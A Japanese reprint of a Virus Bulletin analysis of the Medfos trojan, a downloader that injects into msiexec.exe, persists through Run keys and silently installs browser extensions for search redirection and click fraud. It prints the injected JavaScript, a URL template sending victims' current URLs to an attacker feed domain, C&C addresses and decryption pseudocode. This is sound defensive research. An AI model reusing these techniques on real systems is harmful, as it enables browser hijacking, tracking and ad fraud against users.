Medfos: 万能リダイレクター

本記事はVirus Bulletinに掲載されたものです。

Medfosは高度に難読化されたトロイの木馬ファミリーであり、Chrome、Firefox、Internet Explorerなどの人気の高いブラウザでの検索結果をリダイレクトすることが可能なモジュールを複数ダウンロードします。メインモジュールであるダウンローダーはSasfisというボットネットを介して配布されていることがわかりました。今回の記事ではMedfosのダウンローダーがどのようにしてダウンロードされたモジュールを配備するかを分析し、それぞれの機能を見ていきましょう。

DLLダウンローダー

Medfosのダウンローダーの最も外側にある層はメインペイロードを実行するmsiexec.exeプロセスへのコードインジェクターとして働きます。アセンブリコードは高度に難読化されています。そして暗号化された文字列、ダミーの呼び出し、ジャンクコード、不透明な叙述関数を使用することで、IDA関数はデフォルトセッティングで機能できないようにバラバラにされてしまい、「Create functions if call is present(呼び出しが存在する場合は関数を作成)」のオプションが解除されている場合には、関数グラフのオーバービューウィンドウが複雑になりすぎ、操作不能に陥ります。

まず、MedfosはNtOpenFileを呼び出して%system%/msiexec.exeのハンドルを取得します。 新たに取得したファイルハンドルを使用してプロセスを作成する前に、ZwCreateSectionルーチンとNtMapViewOfSectionルーチンが呼び出され、msiexec.exeのマッピング済みのビューを取得します。msiexec.exeではマルウェアが復号された不正コードを準備し、挿入を行います。


図1: アンチAPIフック

その後、CreateProcessInternalWを使用し、サスペンドモードでmsiexec.exe プロセスのインスタンスを作成します。通常のNtGetContextThreadやNtResumeThread APIの呼び出しの間に、コードインジェクションが二度のNtMapViewOfSection呼び出しにより実行されます。一度目のNtMapViewOfSection呼び出しは不正コードの大半をサスペンド中のプロセスへマッピングします。二度目の呼び出しはサスペンド中のプロセスのエントリポイントのバイトを不正コードへのジャンプへと変更します。

注入されたmsiexec.exeのスレッドをホストプロセスがレジュームすると、注入されたプロセスがダウンローダーとしての機能を実行します。これがいくつかの重要なAPIの名前解決を行い、アンチAPIフッキング技術を使用します。図1のように、InternetOpenURLの最初の5つの命令がメモリロケーション0x9400A0に割り当てられた空間へコピーされます。このトロイの木馬がInternetOpenURLを呼び出すと、これがロケーション0x9400A0を呼び出します。そうすると、元のInternetOpenURL呼び出しの6番目の命令、0x771C5A6Aへとジャンプが行われます。こうして、元の呼び出しの最初の5つの命令をフックするAPIフックを回避するのです。

準備作業を行った後、ダウンローダーはGoogleへの接続を試みてネットワーク接続をチェックします。ネットワーク接続が認証されると、cdn169.filesnetupload.comに対するDNSクエリが発行されます。本記事を書いている時点では、これによりIP 78.140.131.159が返送されます。しかし、このマルウェアは続いて、78.131.140.159でC&Cサーバーへ接続し、最大で0x108FF0バイトのデータを読み込みます。このサーバーのIPはランタイムで復号された文字列であり、DNSクエリはおそらくユーザーとマルウェアアナリストの気をそらすための偽装でしょう。図2に示すように、C&Cサーバーとの通信時にはユーザーをさらに混乱させるためにホストがwww.microsoft.comにセットされています。サーバーへ送信されるデータは、C&Cサーバーとは無関係の正規のサイトからファイルをダウンロードすることを装う、ハードコードされた文字列です。C&Cサーバーからのレスポンスは小型暗号化アルゴリズム(TEA)の簡易バージョンで暗号化されており、4つすべてのキャッシュキーは0x12345678にハードコードされています。図3および表1で示す通り、サーバーレスポンスには2つの構造体が含まれています。それぞれに5つのDWORDヘッダとポータブル実行可能ファイル(PE)の本文コンテンツが入っています。

図3および表1に示す通り、4つ目のDWORDはDLLのエクスポート名のハッシュ値です。これがダウンローダーと、DLL自身がセットアップしたRunキーにより呼び出されることとなります。サーバーは常に最新のバリアント型変数で応答するため、ダウンロードされたDLLは毎回異なる可能性があります。


図2. ホストはwww.microsoft.comにセットされているが、GetメッセージはIP 78.140.131.159に送信される。


図3. 復号されたレスポンス

ダウンロードされたDLLはntdll.LdrLoadDll()を使用してロードされ、初期化されます。DLLの大部分が暗号化されていますが、DLLを初期化することで復号が実行されます。ダウンロードされたDLLのペイロードを開始するため、4つ目のDWORDにより定義されているエクスポートが呼び出されます。ホストであるMedfosのダウンローダー内で呼び出されると、エクスポート関数に対する引数として定数がプッシュされます。その引数を定数にマッチさせることで、ダウンロードされたモジュールはそれが「正当に」実行されているかどうかを確認することができます。ダウンローダー内で呼び出されると、DLLはまず6つのランダムに生成されたアルファベット文字で構成される名前を使って自身のコピーを%Application Data%へドロップします。そして「SOFTWARE\ Microsoft\Windows\CurrentVersion\Run」内にあるレジストリエントリに以下のキーを追加します。スタートアップ時に実行されるようにするためです。

<DLL名> = rundll32.exe <DLLパスおよびDLL名>,
<ExportName>

エクスポート関数から戻る直前には、DLLを実行するために、レジストリキーがたった今作成したものと同じrundll32.exe コマンドラインを使ってCreateProcessWが呼び出されます。

DLLモジュール - リダイレクター

ダウンロードされたDLLモジュールの1つはGoogle Chrome、Mozilla Firefox、Internet Explorerの検索結果をリダイレクトするものです。図4は Internet Explorerでの検索結果のリダイレクトの様子です。図5は多段階のリダイレクト過程で生成されたネットワークトラフィックです。先ほど述べたように、DLLモジュールをロードすることでDLLが復号され、復号されたDLLモジュールにはダウンローダーに入っていたさまざまな形の難読化技術が装備されています。文字列はそれが使用される直前にのみ復号され、使用された直後に削除されます。APIもランタイムでのみ名前解決が行われます。

CHROMEでのリダイレクト

リダイレクターであるDLLモジュールが実行されると、Google Chromeの拡張機能パッケージ.crxがドロップされ、インストールされます。

DWORD 使用法 注釈
1 保留 使用されない
2 現在の構造体に含まれるPEのチェックサム チェックサムはPE内の全バイトを単純に合計したもの
3 現在の構造体に含まれるPEのサイズ
4 呼び出されるエクスポート名のハッシュ値 チェックサムの疑似アルゴリズム: Cの部分 = NAME内の各文字,
CKM = CKM ror 7
CKM = CKM ^ C
5 この構造体の最後の部分 バッファの冒頭部分からのバイトの絶対数
6+ PEのバイト

表1: 復号されたレスポンスの構造体


図4: 検索結果のリダイレクト。リダイレクトされたページのトピックが検索語に関連したものとなっている。


図5: 「penny stock」という言葉を検索した後のリンクをクリックした結果

拡張機能パッケージはまず復号され、ランダムに生成されたGUID(グローバル一意識別子)形式の名前で%Administrator\Local Settings\Application Data%へドロップされます。その後、Chrome拡張機能のインストールをトリガーするため、以下のレジストリキーが追加されます[1]。

HKLM\Software\Google\Chrome\Extensions\<32のランダムに生成された小文字>
path = <.crxファイルのフルパス>

Chrome拡張機能のスクリプトに含まれる文字列は暗号化されています。復号ルーチンの疑似コードは次の通りです。

Key = 0;
OutString = "";
For Byte in Input:
Byte = Byte ^ (Key&0xFF);
OutString = OutString + toChar(Byte); Key++;
End For
Return OutString;

参考サイト[2]に.crxパッケージ内に含まれているスクリプトの難読化を解除したものが掲載されています。インストールされると、この拡張機能は正規表現マッチングを使用してdocument.location.hrefをパースします。状況に応じて、以下の2つのアクションのうち1つがトリガーされる可能性があります。

Googleのインスタント検索が検出されると、以下のスクリプトが注入されます。

http://disable-instant-search.com/js/disable.js

これには次のJavaScriptが含まれています。

try {
  var Links = document.getElementsByTagName('a'); var f = 0;
  for (var i = 0; f == 0 && i < Links.length; i++) {
    if (Links[i].href.indexOf ('/setprefs?') != -1) { 
      var t =Links[i].href.search(/sig=([^&]+)/);
      if (t) {
        t = RegExp.$1;
        t = '/setprefs?&sig=' + t + '&suggon=2'; var req = new XMLHttpRequest(); req.open('GET', t);
        req.send();
        f = 1;
      }
    }
  }
} catch (err) {}

大手サーチエンジンの1つの検索結果へのリンクが確認された場合、注入されるスクリプトは以下のようになります。

ss+"?type="+k3+"&user-agent=Mozilla%2
F5.0+%28Windows+NT+5.1%29+AppleWebKit%2F534.30+%28KHTML%2C+like+Gecko%29+
Chrome%2F12.0.742.112+Safari%2F534.30&ip="+p+"&ref=
"+encodeURIComponent(k2)+'&'+kladsjnkf

各個所の意味:

ss = 'http://chrome-revision.com/feed'
k3 = Google、Yahoo!、Ask、Bing、AOLで検索を行う場合、「search」
k3 = Yahoo!、Bing、Ask、AOLを訪問するのみで検索を行わない場合は「empty」
k2 =現在のURL
p = ランダムに生成された、84で始まるIPアドレス

参考サイト[2]にあるように、「http://chrome-revision.com/feed」は、ページを「http://googleads.i.doublee-click.net 」へリダイレクトするgzipされたスクリプトを返送する可能性もあります。この時点で、「http://googleads. i.doublee-click.net」のサーバーが、ブラウザをさらに別のドメインへリダイレクトするかどうかを決定することもあります。リダイレクトされる対象は検索語によって選択されます。リダイレクト過程において、マルウェア作成者に収益をもたらすための偽のクリック広告をシミュレートするため、ブラウジングのフットプリントが正規の広告ドメインに差し向けられます。「http://googleads.i.doublee-click.net」により生成される、このようなプロセスのネットワークトラフィックは図5で確認できます。

FIREFOXでのリダイレクト

Mozilla Firefoxがインストールされていることが確認された場合には、Chrome拡張機能と同じ関数を実行するFirefox拡張機能がインストールされることとなります。この拡張機能に含まれるスクリプトは実質的には、Chrome拡張機能と同じスクリプトのFirefox用構文です。Firefoxはユーザーの確認なしに拡張機能をインストールする方法を公表していないため、ここではあまり人目に付かないような手法が用いられます。Firefox拡張機能をインストールするため、DDLモジュールがmozsqlite3.dllライブラリをロードして呼び出し、Firefoxブラウザの裏にあるデータベースの直接修正を可能にします。厳密に言うと、

sqlite3_open16を呼び出してFirefoxのデータベースを開き、図5に示すように、その後にsqlite3_execのSQL文を呼び出してインストールをセットアップします[3]。DLLモジュールが%%<ランダムに生成されたGUID>.xpiというファイルをドロップし、拡張機能のインストールを完了します。図6、図7に示すように、Firefoxのsqliteデータベースに入れられたGUIDは.xpiファイルのファイル名と一致する必要があります。


図6: Firefoxが拡張機能をロードするために必要な情報を含むSqlite3_exec。赤でハイライトされた部分がGUID。


図7: 実際の.xpiファイルを作成/ドロップ。赤でハイライトされた部分がGUID。

INTERNET EXPLORERでのリダイレクト

DLLモジュールはInternet Explorerでも似たようなクリック広告およびリダイレクトを実行します。しかし、IEではより入り組んだ形で実行されます。まず、CoInitializeとCoCreateInstanceを使用し、iexplore.exeのインスタンスが作成されます。このiexplore.exeのインスタンスは見える状態のウィンドウを持たず、バックグラウンドに隠れています。そしてSetWindowsHookExWが呼び出されます。その際、idHookはWH_GETMESSAGEに指定され、HOOKPROCは後々CallNextHookを呼び出す、害のないコンテナのサブルーチンを指します。

フックされた関数は不正なものである必要はありません。このWindowsフックの機能はDLLモジュールを裏に潜んだiexplore.exeプロセスへロードし、そしてPeekMessageあるいはGetMessageを使用してメッセージを監視するその他すべてのアクティブなプロセスにアーティファクトとしてロードするからです。注入が完了すると、UnhookWindowsHookExが呼び出されてフックをクリーンアップします。

図4と図5で示すような「googleads.doublee-click.net」のサーバーを介して実行される検索結果のリダイレクトに加え、裏に潜んで行動するこのiexplore.exeはさらに収益を生み出すために別のクリック広告をシミュレートします。図9はGoogleの検索結果ページのURLが別のオンライン広告のドメインへ差し向けられているところです。


図8: SetWindowsHookExWはHOOKPROCのパラメータとしてエクスポート関数set_gAMA_fixedを指定。


図9: Googleで「stock」というキーワードを検索した際のInternetOpenUrlWを使ったリダイレクト 。通常のGoogle検索のURLの先頭にIPが追加されている。

私たちが検証してきたリダイレクターDLLモジュールでは、クリック広告機能が収益を生み出す方法となっています。また、マルウェア作成者が収集したサーチエンジンの使用情報はその他の目的のために用いられている可能性もあります。Internet Explorer版のリダイレクト/クリック広告機能ではブラウザの動作が見てわかるほど著しく遅くなるのに対し、FirefoxとGoogle Chromeの拡張機能はシンプルで安定性があります。

まとめ

トロイの木馬Medfosはモジュール性の高いプログラムとなっており、配布するDLLモジュールに対してセキュリティがしっかりと確保されるよう設計されています。また、任意数のDLLモジュールをダウンロード、配備することも可能です。

参考サイト

[1] http://developer.chrome.com/extensions/external_ extensions.html.
[2] http://www.virusbtn.com/virusbulletin/ archive/2014/01/vb201401-Medfos-appendix.
[3] http://research.zscaler.com/2012/09/how-to-install- silently-malicious.html.

今回の記事およびその他の記事をダウンロードするには、Virus Bulletinにアクセスしてください。